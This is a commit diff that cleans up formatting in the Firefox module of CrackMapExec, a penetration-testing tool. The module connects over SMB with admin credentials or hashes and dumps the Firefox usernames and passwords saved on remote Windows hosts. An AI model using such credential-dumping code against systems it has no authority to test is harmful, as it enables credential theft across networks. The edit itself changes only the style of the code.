update usage for Firefox module

cme/modules/firefox.py

@@ -2,21 +2,21 @@
 from dploot.lib.target import Target
 from cme.protocols.smb.firefox import FirefoxTriage
 
-class CMEModule:
-    '''
-        Firefox by @zblurx
-        Inspired by firefox looting from DonPAPI
-        https://github.com/login-securite/DonPAPI
-    '''
-    name = 'firefox'
-    description = 'Dump credentials from firefox'
-    supported_protocols = ['smb']
-    opsec_safe= True #Does the module touch disk?
-    multiple_hosts = True #Does it make sense to run this module on multiple hosts at a time?
 
-    
+class CMEModule:
+    """
+    Firefox by @zblurx
+    Inspired by firefox looting from DonPAPI
+    https://github.com/login-securite/DonPAPI
+    """
+    name = 'firefox'
+    description = 'Dump credentials from Firefox'
+    supported_protocols = ['smb']
+    opsec_safe = True  # Does the module touch disk?
+    multiple_hosts = True  # Does it make sense to run this module on multiple hosts at a time?
+
     def options(self, context, module_options):
-        '''Required. Module options get parsed here. Additionally, put the modules usage here as well'''
+        """Dump credentials from Firefox"""
         pass        
 
     def on_admin_login(self, context, connection):
@@ -30,7 +30,6 @@ class CMEModule:
         lmhash = getattr(connection, "lmhash", "")
         nthash = getattr(connection, "nthash", "")
 
-
         target = Target.create(
             domain=domain,
             username=username,
@@ -49,6 +48,6 @@ class CMEModule:
             firefox_triage.upgrade_connection(connection=connection.conn)
             firefox_credentials = firefox_triage.run()
             for credential in firefox_credentials:
-                context.log.highlight("[%s][FIREFOX] %s %s:%s" % (credential.winuser, credential.url+' -' if credential.url!= '' else '-', credential.username, credential.password))
+                context.log.highlight("[%s][FIREFOX] %s %s:%s" % (credential.winuser, credential.url+' -' if credential.url != '' else '-', credential.username, credential.password))
         except Exception as e:
             context.log.debug("Error while looting firefox: {}".format(e))